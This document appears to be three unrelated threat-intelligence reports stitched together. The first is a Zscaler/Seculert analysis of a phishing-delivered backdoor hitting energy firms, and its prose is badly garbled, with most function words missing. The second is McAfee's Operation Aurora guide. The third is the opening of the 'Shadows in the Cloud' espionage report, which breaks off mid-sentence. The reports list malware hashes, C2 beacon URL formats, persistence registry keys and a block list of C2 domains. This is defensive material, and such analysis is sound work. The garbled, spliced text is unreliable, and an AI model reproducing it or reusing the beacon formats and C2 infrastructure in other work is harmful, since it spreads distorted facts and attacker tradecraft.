www.virustotal.com/file- scan/report.html?id=043935374ce39637a4816d0a484d30bed1d3054bbe89625fbc22f83ef4cb3e04- 1285736283 http://www.sophos.com/en- us/threat- center/threat- analyses/viruses- and- spyware/Mal~Ovoxual- B/detailed- analysis.aspx http://www.threatexpert.com/report.aspx?md5=374075ce8b6e8f0cd1f90009fd5a703b http://www.cyberesi.com/2011/03/17/msupdate- exe- favorites- dat- analysis/ http://www.securiteam.com/securityreviews/6Z00H20BQS.html 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. 5E3EACA3806769836C3AD9D46A20964418 o Microsoft other vendors detect Backdoor Matchaldru.B o DrWeb uses their same Calla family: Backdoor.Calla.16 o The VirusTotal timeframe submissions this decrypted executable from: 03/15/2011 04/20/2011. Here Google decoy beacon made Trojan: Figure Initial Malformed Google HTTP Request Followed initial check- request: Figure Related Malware Initial Check- Request check- request values correspond following meanings: parameter value corresponds Windows version, Windows (version 5.1) parameter value victim identification string created encoding volume serial number victim system concatenated with random number string within user- agent (BKANAHEAFPEM) result encoding victim machine name number following search5 path random remaining hard- coded Trojan. BHI06233 string thought related actor group related targets campaign, where stand Baker Hughes https://www.virustotal.com/file/d8a976979d4eeaf7485249c49d4a31824638a49dac308c5114c113b4a3eed9c9/analysis/1300216834/ 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. International along with other companies oil, gas, energy sector were focus some targeted attacks.19 data check- HTTP communication from encoded using single- byte XORing treated authentication into botnet. Once authenticated, victim uses following check- beacons: HTTP GET: /search6[RndNum]?h1=[VictimId] o Where VictimId same string identifying victim machine previously used parameter value. User- Agent: Mozilla/5.0 (compatible; Windows 5.2) o Note that user- agent changed hard- coded string versus using encoded system name initial check- Some Trojan functionality includes: Download file from C&C: o HTTP GET: /download7[RndNum]?h1=[VictimId] Upload file C&C: o HTTP POST: /upload8[RndNum]?h1=[VictimId] Command execution response C&C: o HTTP POST: /search2[RndNum]?h1=[VictimId] There over dozen other commands identified Trojan listed CyberESI report. September 2010 ISSNIP Phishing Email with Malicious Attachment days later following previously detailed incident, another incident with information publicly available reported which phishing email sent from Yahoo account defense contractor with content about conference malicious attachment, ISSNIP_2010.pdf (MD5 hash: 3D966CD90D320EA4A319452D1CCB11AA): Figure Phish Email (9/23/2010) From analysis, malicious attachment appeared have same functionality listed previous incident include unique dropped files msupdater.exe FAVORITES.DAT http://www.bloomberg.com/news/2011- 24/exxon- shell- said- have- been- hacked- through- chinese- internet- servers.html 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. Related Antivirus Vendor Family Names previously identified samples have pointed that certain malware family names used identify classify fore- mentioned threat. example, DrWeb uses Backdoor.Calla Microsoft other vendors Backdoor.Matchaldru Sophos uses Mal/ Ovoxual Using these identifiers, number related samples found open- source. following provides brief list additional samples believed related this threat group: MD5: 92DBDB7E240E7D7C42B479338078273520 msupdate.exe packed with Armadillo o First/Last submitted VirusTotal: 2011- o Sophos identifies Mal/Ovoxual- o McAfee identifies Muster.d MD5: 3A0FC856F343B730EE58C00BAB09F9E521 Backdoor.Calla.16 Mal/Ovoxual- packed with Armadillo o First seen 2010- Last seen: 2011- o Drops22: MD5: 7C3C964D7F164F2CC277B4154173254623 msupdater.exe Mal/Ovoxual- o First/Last seen: 2010- MD5: B7424AA1C92107E03DBA8915CEB1FE4D FAVORITES.DAT (encrypted) MD5: 21816D6934F608E0E3F76AA43831D95924 Backdoor.Calla.16 Mal/Ovoxual- 2010- MD5: 53547213038C093EB427974FA0FB4F6525 Mal/Ovoxual- 2010- 2011- MD5: 0A229293FD0639C722FD7ABD1D1A9C9326 Matchaldru.B Mal/Ovoxual- 2011- 2011- From above VirusTotal results, appears that McAfee detects some these Muster threat group. Using other vendor names searching correlating samples same that above reveals additional likely related samples. following provides brief abbreviated list samples listed open- source purposes showing breadth threat operation timeframe some names that shed some light types phishing messages used. https://www.virustotal.com/file/08039422c11ee405af02558704f19c8c53e82749493386a226243ac0f85de20c/analysis/1320449843/ https://www.virustotal.com/file/da3e95eb33c33908ab35b269802ba35fe015e0ad3f0ec7481bcca8b5b96477ca/analysis/ http://www.threatexpert.com/report.aspx?md5=3a0fc856f343b730ee58c00bab09f9e5 https://www.virustotal.com/file/fe0e58b5cad9b1dde19ad87f2470c14879d148c0d271d54e00bb94449a8980fd/analysis/ https://www.virustotal.com/file/d076b318db751cd43e303d26dcaad2d0eab2779185a5facb9aee3754219a322f/analysis/ https://www.virustotal.com/file/5f14bf0b5838f85edcb1bc32a198ec09cf4d73980e73a0783d649e00c91d6771/analysis/ https://www.virustotal.com/file/735fd8ce66e6f0e412f18242d37c12fb38f26f471051eac2f0fe2df89d0e4966/analysis/ 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. MD5: FD5DFFEBD39E9ACA4F79107B6889699D (09/24/2010) MD5: 95AFBECB0BDDE89254DBE07A42685B24 (10/11/2010) MD5: 6FF3C8495873AEC4390250EC1ECAA0B1 (04/08/2009) MD5: 2EFBF514FBF58E78C259CC87A668BC35 (06/16/2009), drops: o MD5: AEDCE18F64EB988F342663EC2C01D017 (COMSWARE_2009.1.pdf) o MD5: BDDD2042F5024D2AFC6AA50920E27897 (IEUpd.exe) o MD5: EA12A0DBA22B8B2D2D5662437BED8169 (IEXPLORE.hlp) o MD5: 7F37F7CD9B0C1CE6574FF5C385FCF26F (WMupdate.exe) MD5: 9687E53495898232949DBCD15556B619 (06/16/2009), drops: o MD5: 2F71666B76EC0E51A40EF5DF3170604A (2009_IEEE_Aerospace_Conference_1.pdf) o MD5: 5622E46F27B8BD7665218E26B024E74D (IEUpd.exe) o MD5: D69BB7935DB5FC15542B98845CF83B89 (IEXPLORE.hlp) o MD5: A2B6C71A153E61EAA1FEA0F2A3A0232B (WMupdate.exe) MD5: 6AD5D9C546AC603E18FC109025E2F5B7 (03/19/2010), drops: o MD5: 9C738176C74B7392DD22009736AFC49F (Who will fired.pdf) o MD5: 1ABC034E85704A0699D598B16C16A37E (WMupdate.exe) MD5: 7B470C530794342632F5025C1B948BB0 (04/08/2009) MD5: 1006e295156b354d9ec4b6d5b6b0ba65 (04/13/2009) drops: o MD5: 2F71666B76EC0E51A40EF5DF3170604A (2009_IEEE_Aerospace_Conference_1.pdf) o MD5: 9AA8DD1A765C44B82654581977C7F2FA (WMupdate.exe) MD5: D78CBD630A1937233B3E4217B19FF5CA (4/13/2009) drops: o MD5: BECDA5D5A1C3199A99018A57E43BA2C7 (Bomber_kills_33_at_Iraq_peace_conference.pdf) o MD5: 7B470C530794342632F5025C1B948BB0 (WMupdate.exe) MD5: 08EB27A6D8F0260D6853BC5A3F5CAA73 (09/15/2009) Conference Lure noted section September 2010 malicious phishing incident, name particular malicious attachment ISSNIP_2010.pdf (see screenshot below) related International Conference Intelligent Sensors, Sensor Networks Information Processing (ISSNIP)27. conference related subjects seems popular lure this actor phishing messages noted above section related malware. example; IEEE Aerospace Conference Iraq Peace Conference International Conference Communication System Software Middleware (COMSWARE) http://www.issnip.org 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. Figure ISSNIP 2010 Screenshot Closing Remarks Zscaler Seculert experienced separate security incidents against various customers dealing with threat appearing related specific targeted attacks. This report provided some insight into threat draws information available open- source. particular, beaconing patterns indicators were identified facilitate detection threat. Additionally, related malware samples (see Appendix malware family names, such Ovoxual have been listed further identification related samples. Based information available, threat arrives phishing emails with attachment, possibly related conferences particular targeted industry. exploits vulnerabilities within Adobe (for example, exploit used against CVE- 2010- 2883) drops series files begin communicating with command control (C&C). binary dropped launched from exploit virtual machine (VM) aware order prevent analysis within sandbox. detected, will drop executable (often named msupate.exe which also aware, encrypted file (often named FAVORITES.DAT Again, detected this executable will decrypt contents memory process (often svchost.exe process). Once infected system communicates with C&C, versions beaconing pattern have been observed. most well documented version beaconing adhere general formats: /search[RndNum]?h1=[Num1]&h2=[Num2]&h3=[String1]&h4=[String2] /search[RndNum]?h1=[String1] /upload[RndNum]?h1=[String1] /download[RndNum]?h1=[String1] 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. lesser- known beaconing pattern that both Zscaler Seculert have observed related this threat adhere general formats: /microsoftupdate/getupdate/default.aspx?ID=[num1]para1=[num2]para2=[num3]para3=[n um4] /microsoft/errorpost/default/connect.aspx?ID=[num1] /microsoft/errorpost/default.aspx?ID=[num1] Prior beaconing with these patterns malware issue initial malformed Google query: path: /search?qu= data: news these indicators help provide detection remediation this threat within your enterprise. This overall goal releasing this information. Note however, that overall targeted threat will likely adapt remain constant adversary that your particular organization target attack likely that will continue targeted. this knowledge adapt your organization security policies resources appropriately. 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. Appendix Consolidated List Malicious Hashes following list consolidation malicious hashes listed this report. 3459BC37967480DEE405A5AC678B942D BDDD2042F5024D2AFC6AA50920E27897 6631815D4AB2A586021C24E02E5CC451 EA12A0DBA22B8B2D2D5662437BED8169 3D966CD90D320EA4A319452D1CCB11AA 7F37F7CD9B0C1CE6574FF5C385FCF26F 4EF704239FA63D1C1DFCF2EA2DA0D711 9687E53495898232949DBCD15556B619 95D42D365489A6E5EBDF62565C5C8AA2 2F71666B76EC0E51A40EF5DF3170604A 374075CE8B6E8F0CD1F90009FD5A703B 5622E46F27B8BD7665218E26B024E74D 5E3EACA3806769836C3AD9D46A209644 D69BB7935DB5FC15542B98845CF83B89 92DBDB7E240E7D7C42B4793380782735 A2B6C71A153E61EAA1FEA0F2A3A0232B 3A0FC856F343B730EE58C00BAB09F9E5 6AD5D9C546AC603E18FC109025E2F5B7 7C3C964D7F164F2CC277B41541732546 9C738176C74B7392DD22009736AFC49F B7424AA1C92107E03DBA8915CEB1FE4D 1ABC034E85704A0699D598B16C16A37E 21816D6934F608E0E3F76AA43831D959 7B470C530794342632F5025C1B948BB0 53547213038C093EB427974FA0FB4F65 1006e295156b354d9ec4b6d5b6b0ba65 0A229293FD0639C722FD7ABD1D1A9C93 2F71666B76EC0E51A40EF5DF3170604A FD5DFFEBD39E9ACA4F79107B6889699D 9AA8DD1A765C44B82654581977C7F2FA 95AFBECB0BDDE89254DBE07A42685B24 D78CBD630A1937233B3E4217B19FF5CA 6FF3C8495873AEC4390250EC1ECAA0B1 BECDA5D5A1C3199A99018A57E43BA2C7 2EFBF514FBF58E78C259CC87A668BC35 7B470C530794342632F5025C1B948BB0 AEDCE18F64EB988F342663EC2C01D017 08EB27A6D8F0260D6853BC5A3F5CAA73 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. McAfee Labs: Combating Aurora By Rohit Varma, McAfee Labs Contents Overview ............................................................................................................................. 2 McAfee detection names for Aurora................................................................................... 3 Exploit-Comele ........................................................................................................... 3 Roarur.dr ..................................................................................................................... 3 Roarur.dll .................................................................................................................... 3 Symptoms ........................................................................................................................... 5 Characteristics ..................................................................................................................... 5 Common filenames and hashes ........................................................................................... 6 McAfee product coverage for Aurora ................................................................................. 7 Common URLs accessed. ................................................................................................. 10 Appendix A: Useful URLs related to Aurora ................................................................... 11 Combating Aurora Overview Operation Aurora, released the week of January 11, exploits the recent Microsoft Internet Explorer vulnerability. The attack was initially targeted at several large companies, including Google. It is now public and is available on the web. The public release significantly increases the possibility of widespread attacks exploiting the vulnerability, putting Internet Explorer users at potentially serious risk. Microsoft is aware of the targeted attacks and lists the following combinations as vulnerable: Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4, and Internet Explorer 6, Internet Explorer 7 and Internet Explorer 8 on supported editions of Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, and Windows Server 2008 R2. http://www.microsoft.com/technet/security/advisory/979352.mspx Below we have a summary of McAfee s assessment of Internet Explorer and platform risks: * DEP Data Execution Prevention (DEP) is a set of hardware and software technologies that perform additional checks on memory to help prevent malicious code from running on a system. In Microsoft Windows XP Service Pack 2 (SP2) and Microsoft Windows XP Tablet PC Edition 2005, DEP is enforced by hardware and by software. The primary benefit of DEP is to help prevent code execution from data pages. Typically, code is not executed from the default heap and the stack. Hardwareenforced DEP detects code that is running from these locations and raises an exception when execution occurs. Software-enforced DEP can help prevent malicious code from taking advantage of exception-handling mechanisms in Windows. McAfee detection names for Aurora Exploit-Comele This maliciously crafted script attempts to exploit the vulnerability when Internet Explorer handles certain DOM operations. An attacker may exploit this issue to execute remote code. http://vil.nai.com/vil/content/v_253210.htm Roarur.dr This Trojan drops further malicious files onto the victim s computer. http://vil.nai.com/vil/content/v_253415.htm Roarur.dll This Trojan is dropped by the roarur.dr Trojan. The dll creates an additional service on the victim s computer and checks for certain files on the system. The files it looks for are acelpvc.dll (presence of this file does not necessarily imply an infection ) . acelpvc.dll is used to stream live desktop feeds to the attacker VedioDriver.dll (presence of this file does not necessarily imply an infection )- Helper dll for acelpvc.dll http://vil.nai.com/vil/content/v_253416.htm Aliases Trojan.Hydraq Symptoms Outbound network connections to hxxp://demo[remove].jpg The presence of the following files: %SystemDir%\Rasmon.dll %SYSDIR%\DFS.bat The presence of the following registry keys: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[% random 4 chars %] "ImagePath" = %SystemRoot%\svchost.exe -k netsvcs HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[% random 4 chars %] "Start"= 02, 00, 00, 00 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[% random 4 chars %]\Parameters "ServiceDll" = %SystemRoot%\rasmon.dll Characteristics Aurora demonstrates these four infection characteristics: Common filenames and hashes securmon.dll: E3798C71D25816611A4CAB031AE3C27A Rasmon.dll: 0F9C5408335833E72FE73E6166B5A01B a.exe: CD36A3071A315C3BE6AC3366D80BB59C b.exe 9F880AC607CBD7CDFFFA609C5883C708 AppMgmt.dll 6A89FBE7B0D526E3D97B0DA8418BF851 A0029670.dll 3A33013A47C5DD8D1B92A4CFDCDA3765 msconfig32.sys 7A62295F70642FEDF0D5A5637FEB7986 VedioDriver.dll 467EEF090DEB3517F05A48310FCFD4EE acelpvc.dll 4A47404FC21FFF4A1BC492F9CD23139C wuauclt.exe 69BAF3C6D3A8D41B789526BA72C79C2D jucheck.exe 79ABBA920201031147566F5418E45F34 AdobeUpdateManager.exe 9A7FCEE7FF6035B141390204613209DA zf32.dll EB4ECA9943DA94E09D22134EA20DC602 * This data is subject to change. * For the latest data, please visit McAfee Aurora site http://www.mcafee.com/us/threat_center/operation_aurora.html McAfee product coverage for Aurora The McAfee Labs Aurora Stinger tool The Aurora Stinger tool detects and removes threats associated with Operation Aurora attacks. http://download.nai.com/products/mcafee-avert/aurora_stinger.exe Extended McAfee product coverage details: McAfee Web Gateway. TrustedSource has coverage for domains and IP addresses that the malware contacts. Coverage for associated malware was released January 15 (as BehavesLike.JS.Obfuscated.E ). Proactive coverage existed for some components (as Trojan.Crypt.XDR.Gen McAfee Application Control. All versions of McAfee Application Control protect against infection, without requiring updates, and will prevent all versions of the Aurora attack witnessed to date. McAfee Firewall Enterprise. TrustedSource has coverage for domains and IP addresses that the malware contacts. The embedded McAfee anti-virus scanning engine in Firewall Enterprise Version 7.0.1.02 and later provides coverage for supported protocols via standard McAfee DAT updates. Coverage for known exploits and associated malware is provided as Exploit-Comele, Roarur.dr, and Roarur.dll in the 5862 DATs, released January 15. McAfee SiteAdvisor, SiteAdvisor Plus, SiteAdvisor Enterprise. TrustedSource has coverage for domains and IP addresses that the malware contacts. McAfee Email and Web Security Appliances. TrustedSource has coverage for domains and IP addresses that the malware contacts. Aurora coverage in McAfee point products: Exploit-Comele Trojan DAT files Coverage is provided as Exploit-Comele in the 5860 DATs, released January 13, for known exploits. VSE BOP Out of scope Host IPS Out of scope McAfee Network Security Platform The UDS release of January 14 contains the signature "UDS-HTTP: Microsoft Internet Explorer HTML DOM Memory Corruption," which provides coverage. McAfee Vulnerability Manager Coverage not warranted at this time MNAC 2.x Coverage not warranted at this time McAfee Remediation Manager Malware coverage is out of scope. McAfee Policy Auditor SCAP Out of scope MNAC SCAP Out of scope Roarur.dr Trojan DAT files Coverage is provided as Roarur.dr in the 5862 DATS, released January 15. VSE BOP Out of scope Host IPS Out of scope McAfee Network Security Platform McAfee Network Security Platform versions with Artemis enabled (6.0.x) provide coverage for this malware. Out of scope for prior versions. McAfee Vulnerability Manager Coverage not warranted MNAC 2.x Coverage not warranted McAfee Remediation Manager Malware coverage is out of scope. McAfee Policy Auditor SCAP Out of scope MNAC SCAP Out of scope Roarur.dll Trojan DAT files Coverage is provided as Roarur.dll in the 5862 DATs, released January 15. VSE BOP Out of scope Host IPS Out of scope McAfee Network Security Platform McAfee Network Security Platform versions with Artemis enabled (6.0.x) provide coverage for this malware. Out of scope for prior versions. McAfee Vulnerability Manager The FSL/MVM package of January 15 includes a vulnerability check to assess if your systems are at risk. MNAC 2.x The MNAC release of February 10 will include a vulnerability check to assess if your systems are at risk. McAfee Remediation Manager Malware coverage is out of scope. McAfee Policy Auditor SCAP Out of scope MNAC SCAP Out of scope Microsoft Internet Explorer DOM Operation Memory Corruption Vulnerability Threat Identifier(s) CVE-2010-0249 Threat Type Vulnerability Risk Assessment High Main Threat Vectors E-Mail; Web User Interaction Required Description A memory corruption vulnerability in some versions of Microsoft Internet Explorer may lead to remote code execution or an application crash. The flaw lies in Internet Explorer's handling of certain DOM operations. Exploitation can occur via a maliciously crafted file or a maliciously crafted web page and allow an attacker to execute arbitrary code. Failed exploit attempts may result in an application crash (denial of service). Importance High. On January 14 Microsoft publicly disclosed this vulnerability. Active exploitation has been observed in the wild. McAfee Product Coverage * DAT files Coverage for known exploits and associated malware is provided as Exploit-Comele, Roarur.dr, and Roarur.dll in the 5862 DATs, released January 15. VSE BOP Generic buffer overflow protection is expected to cover some, but not all, exploits. Host IPS Generic buffer overflow protection is expected to cover some, but not all, exploits. McAfee Network Security Platform Extended coverage is provided in the January 18 UDS release via the signature "Microsoft Internet Explorer HTML DOM Memory Corruption III." Coverage was originally provided in the UDS release of January 14. McAfee Vulnerability Manager The FSL/MVM package of January 14 includes a vulnerability check to assess if your systems are at risk. MNAC 2.x Under analysis McAfee Remediation Manager Remediation Manager provides mitigation for this issue by elevating Internet Explorer settings in the Internet and Local Intranet zones. A remedy for this issue will be provided upon release of an official vendor patch. Cleaning and Repair A full on-demand scan must run to completely clean an infected host. In some cases, it may also be necessary to run the on-demand scan in Safe Mode, as well as run a second scan after a reboot. It is critical that the on-demand scan be configured properly. The proper configuration: Scan All Local Drives Memory for Rootkits Running Processes Registry First Action set to Clean The full, recommended process: Launch a full on-demand scan with the prior-documented configuration Allow the scan to run to completion Reboot Launch a second on-demand scan and allow it to run to completion to verify that the system has been cleaned Common URLs accessed The following domains need to be blocked at the firewall: 360.homeunix.com 69.164.192.4 alt1.homelinux.com amt1.homelinux.com aop1.homelinux.com app1.homelinux.com blogspot.blogsite.org filoups.info ftp2.homeunix.com ftpaccess.cc google.homeunix.com members.linode.com sl1.homelinux.org sl1.homelinux.org tyuqwer.dyndns.org update.ourhobby.com voanews.ath.cx webswan.33iqst.com:4000 yahoo.8866.org ymail.ath.cx yahooo.8866.org sl1.homelinux.org 360.homeunix.com ftp2.homeunix.com update.ourhobby.com connectproxy.3322.org csport.2288.org * This data is subject to change. * For the latest data, please visit McAfee Aurora site http://www.mcafee.com/us/threat_center/operation_aurora.html Appendix A: Useful URLs related to Aurora http://www.mcafee.com/us/local_content/reports/how_can_u_tell.pdf http://www.mcafee.com/us/threat_center/aurora_enterprise.html http://newsroom.mcafee.com/article_display.cfm?article_id=3613 http://www.mcafee.com/us/threat_center/operation_aurora.html http://www.avertlabs.com/research/blog/ http://www.microsoft.com/technet/security/advisory/979352.mspx http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0249 http://podcasts.mcafee.com/audioparasitics/AudioParasitics-Episode80-01-2010.mp3 http://community.mcafee.com/groups/operation-aurora JR03-2010 SHADOWS IN THE CLOUD: Investigating Cyber Espionage 2.0 JOINT REPORT: Information Warfare Monitor Shadowserver Foundation April 6, 2010 WEB VERSION. Also found here: http://shadows-in-the-cloud.net INFOWAR MONITOR JR03-2010 Shadows in the Cloud - FOREWORD Foreword Crime and espionage form a dark underworld of cyberspace. Whereas crime is usually the first to seek out new opportunities and methods, espionage usually follows in its wake, borrowing techniques and tradecraft. The Shadows in the Cloud report illustrates the increasingly dangerous ecosystem of crime and espionage and its embeddedness in the fabric of global cyberspace. This ecosystem is the product of numerous factors. Attackers employ complex, adaptive attack techniques that demonstrate high-level ingenuity and opportunism. They take advantage of the cracks and fissures that open up in the fast-paced transformations of our technological world. Every new software program, social networking site, cloud computing, or cheap hosting service that is launched into our everyday digital lives creates an opportunity for this ecosystem to morph, adapt, and exploit. It has also emerged because of poor security practices of users, from individuals to large organizations. We take for granted that the information and communications revolution is a relatively new phenomenon, still very much in the midst of unceasing epochal change. Public institutions have adopted these new technologies faster than procedures and rules have been created to deal with the radical transparency and accompanying vulnerabilities they introduce. Today, data is transferred from laptops to USB sticks, over wireless networks at caf hot spots, and stored across cloud computing services whose servers are located in far-off political jurisdictions. These new modalities of communicating de-concentrate and disperse the targets of exploitation, multiplying the points of exposure and potential compromise. Paradoxically, documents and data are probably safer in a file cabinet, behind the bureaucrat s careful watch, than they are on the PC today. The ecosystem of crime and espionage is also emerging because of opportunism on the part of actors. Cyber espionage is the great equalizer. Countries no longer have to spend billions of dollars to build globe-spanning satellites to pursue high-level intelligence gathering, when they can do so via the web. We have no evidence in this report of the involvement of the People s Republic of China (PRC) or any other government in the Shadow network. But an important question to be entertained is whether the PRC will take action to shut the Shadow network down. Doing so will help to address long-standing concerns that malware ecosystems are actively cultivated, or at the very least tolerated, by governments like the PRC who stand to benefit from their exploits though the black and grey markets for information and data. Finally, the ecosystem is emerging because of a propitious policy environment or rather the absence of one at a global level. Governments around the world are engaged in a rapid race to militarize cyber space, to develop tools and methods to fight and win wars in this domain. This arms race creates an opportunity structure ripe for crime and espionage to flourish. In the absence of norms, principles and rules of mutual restraint at a global level, a vacuum exists for subterranean exploits to fill. There is a real risk of a perfect storm in cyberspace erupting out of this vacuum that threatens to subvert cyberspace itself, either through over-reaction, a spiraling arms race, the imposition of heavy-handed controls, or through gradual irrelevance as people disconnect out of fear of insecurity. JR03-2010 Shadows in the Cloud - FOREWORD There is, therefore, an urgent need for a global convention on cyberspace that builds robust mechanisms of information sharing across borders and institutions, defines appropriate rules of the road for engagement in the cyber domain, puts the onus on states to not tolerate or encourage mischievous networks whose activities operate from within their jurisdictions, and protects and preserves this valuable global commons. Until such a normative and policy shift occurs, the shadows in the cloud may grow into a dark, threatening storm. Ron Deibert Director, the Citizen Lab, Munk School of Global Affairs University of Toronto Rafal Rohozinski CEO, The SecDev Group (Ottawa) JR03-2010 Shadows in the Cloud - ACKNOWLEDGMENTS Acknowledgments This investigation is a result of a collaboration between the Information Warfare Monitor and the Shadowserver Foundation. Our ability to share critical information and analytical insights within a dedicated group of professionals allowed us to uncover and investigate the operation of the network documented in this report. The Information Warfare Monitor (infowar-monitor.net) is a joint activity of the Citizen Lab, Munk School of Global Affairs, University of Toronto, and the SecDev Group, an operational consultancy based in Ottawa specialising in evidence-based research in countries and regions under threat of insecurity and violence. The Shadowserver Foundation (shadowserver.org) was established in 2004 and is comprised of volunteer security professionals that investigate and monitor malware, botnets, and malicious attacks. Both the Information Warfare Monitor and the Shadowserver Foundation aim to understand and accurately report on emerging cyber threats as they develop. Steven Adair is a security researcher with the Shadowserver Foundation. He frequently analyzes malware, tracks botnets, and deals with cyber attacks of all kinds with a special emphasis on those linked to cyber espionage. Ron Deibert is Director of the Citizen Lab at the Munk School of Global Affairs, University of Toronto. He is a co-founder and principal investigator of the OpenNet Initiative and Information Warfare Monitor. He is Vice President, Policy and Outreach, Psiphon Inc., and a principal with the SecDev Group. Rafal Rohozinski is CEO of the SecDev Group and Psiphon Inc. He is a co-founder and principal investigator of the OpenNet Initiative and Information Warfare Monitor, and a senior research advisor at the Citizen Lab, Munk School of Global Affairs, University of Toronto. Nart Villeneuve is the Chief Security Officer at the SecDev Group, Director of Operations of Psiphon Inc. and a senior SecDev research fellow at the Citizen Lab at the Munk School of Global Affairs, University of Toronto where he focuses on electronic surveillance, targeted malware and politically motivated digital attacks. Greg Walton conducted and coordinated the primary field-based research for the Shadow investigation in His Holiness the Dalai Lama s Office and the Tibetan Government-in-Exile in Dharamsala, India. Greg is a SecDev Group associate and editor of the Information Warfare Monitor website. He is the SecDev Fellow at the Citizen Lab at the Munk School of Global Affairs, University of Toronto. This report represents a collective activity and numerous others also contributed to the research effort. This includes individuals in India, who for security reasons we cannot name. We are also grateful to the Office of His Holiness the Dalai Lama. The research of the Citizen Lab and the Information Warfare Monitor is supported by a generous grant from the John D. and Catherine T. MacArthur Foundation, in-kind and staff contributions from the SecDev Group, and a generous donation of software from Palantir Technologies Inc. We are very grateful to Masashi Crete-Nishihata (Citizen Lab) and Arnav Manchanda (SecDev Group) for research assistance, and to Jane Gowan (Agent 5 Design and Citizen Lab) for layout and design. JR03-2010 Shadows in the Cloud - EXECUTIVE SUMMARY Executive Summary Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically compromised government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama, the United Nations, and several other countries. The report also contains an analysis of data which were stolen from politically sensitive targets and recovered during the course of the investigation. These include documents from the Offices of the Dalai Lama and agencies of the Indian national security establishment. Data containing sensitive information on citizens of numerous third-party countries, as well as personal, financial, and business information, were also exfiltrated and recovered during the course of the investigation. The report analyzes the malware ecosystem employed by the Shadows attackers, which leveraged multiple redundant cloud computing systems, social networking platforms, and free web hosting services in order to maintain persistent control while operating core servers located in the People s Republic of China (PRC). Although the identity and motivation of the attackers remain unknown, the report is able to determine the location (Chengdu, PRC) as well as some of the associations of the attackers through circumstantial evidence. The investigation is the product of an eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the Shadowserver Foundation. The investigation employed a fusion methodology, combining technical interrogation techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network. Summary of Main Findings Complex cyber espionage network - Documented evidence of a cyber espionage network that compromised government, business, and academic computer systems in India, the Office of the Dalai Lama, and the United Nations. Numerous other institutions, including the Embassy of Pakistan in the United States, were also compromised. Some of these institutions can be positively identified, while others cannot. Theft of classified and sensitive documents - Recovery and analysis of exfiltrated data, including one document that appears to be encrypted diplomatic correspondence, two documents marked SECRET , six as RESTRICTED , and five as CONFIDENTIAL . These documents are identified as belonging to the Indian government. However, we do not have direct evidence that they were stolen from Indian government computers and they may have been compromised as a result of being copied onto personal computers. The recovered documents also include 1,500 letters sent from the Dalai Lama s office between January and November 2009. The profile of documents recovered suggests that the attackers targeted specific systems and profiles of users. Evidence of collateral compromise - A portion of the recovered data included visa applications submitted to Indian diplomatic missions in Afghanistan. This data was voluntarily provided to the Indian missions by nationals of 13 countries as part of the regular visa application process. In a context like Afghanistan, this finding points to the complex nature of the information security challenge where risks to individuals (or operational security) can occur as a result of a data compromise on secure systems operated by trusted partners. Command-and-control infrastructure that leverages cloud-based social media services - Documentation of a complex and tiered command and control infrastructure, designed to maintain persistence. The infrastructure made use of freely available social media systems that include Twitter, Google Groups, Blogspot, Baidu Blogs, blog.com and Yahoo! Mail. This top layer directed compromised computers to accounts on free web hosting services, and as the free hosting servers were disabled, to a stable core of command and control servers located in the PRC. Links to Chinese hacking community - Evidence of links between the Shadow network and two individuals living in Chengdu, PRC to the underground hacking community in the PRC. JR03-2010 Shadows in the Cloud - TABLE OF CONTENTS Table of Contents Part I: Background and Context Introduction - Building upon GhostNet About the Shadows in the Cloud Investigation - Beyond GhostNet Research Framework Part II: Methodology and Investigative Techniques Methodology Field Investigation Technical Investigative Activities Part III: Mapping the Shadows in the Cloud 3.2. Analysis of Data while in the Field Technical Investigation Command and Control Infrastructure Part IV: Targets and Effects 4.2. Compromised Victims: the evidence Victim Analysis on the basis of recovered documents Part V: Tackling Cyber Espionage Attribution and cyber crime / cyber espionage Notification p. 1 p. 2 p. 4 p. 5 p. 7 p. 8 p. 8 p. 10 p. 12 p. 14 p. 16 p. 20 p. 25 p. 26 p. 30 p. 36 p. 37 p. 40 Part VI: Conclusions p. 42 Bibliography and Suggested Readings p. 45 Glossary p. 51 PART 1: Background and Context JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND & CONTEXT Introduction - Building upon GhostNet Research into computer network exploitation, cyber espionage, malware and botnets has expanded in recent years from a relatively small cottage industry involving primarily technical experts to a major global phenomenon which now includes academia, defence, intelligence, law enforcement, and the private sector. The rapid rise of this industry is in part a recognition of the significant threat that these global criminal ecosystems represent to critical infrastructure, government systems, personal privacy, commerce, and defense. Several high profile cases and events, including the attacks on Google and other American companies in December 2009, underscore the growing threat environment and suggest that these attacks are becoming the norm rather than an exception. Policymakers are responding with legislation, institutional reforms and new initiatives, and an already sizable market for cyber security services is mushrooming into a multi-billion dollar global industry. This report aims to contribute to research and debate in this domain. Its release is strategic, coming roughly one year after the publication of Tracking GhostNet (See Box 1, below). Box 1. Tracking GhostNet: Lessons Learned Tracking Ghostnet: Investigating a Cyber Espionage Network was the product of a ten-month investigation and analysis focused on allegations of Chinese cyber espionage against the Tibetan community. The research entailed field-based investigations in India, Europe and North America working directly with affected Tibetan organizations, including the Private Office of the Dalai Lama, the Tibetan Government-in-Exile, and several Tibetan NGOs in Europe and North America. The fieldwork generated extensive data that allowed us to examine Tibetan information security practices, as well as capture evidence of malware that had penetrated Tibetan computer systems. We also engaged in extensive data analysis and technical investigation of web-based interfaces to command and control servers that were used by attackers to send instructions to, and receive data from compromised computers. The report documented a wide ranging network of compromised computers, including at least 1,295 spread across 103 countries, 30 percent of which we identified and determined to be high-value targets, including ministries of foreign affairs, embassies, international organizations, news organizations, and a computer located at NATO headquarters. Although there was circumstantial evidence pointing 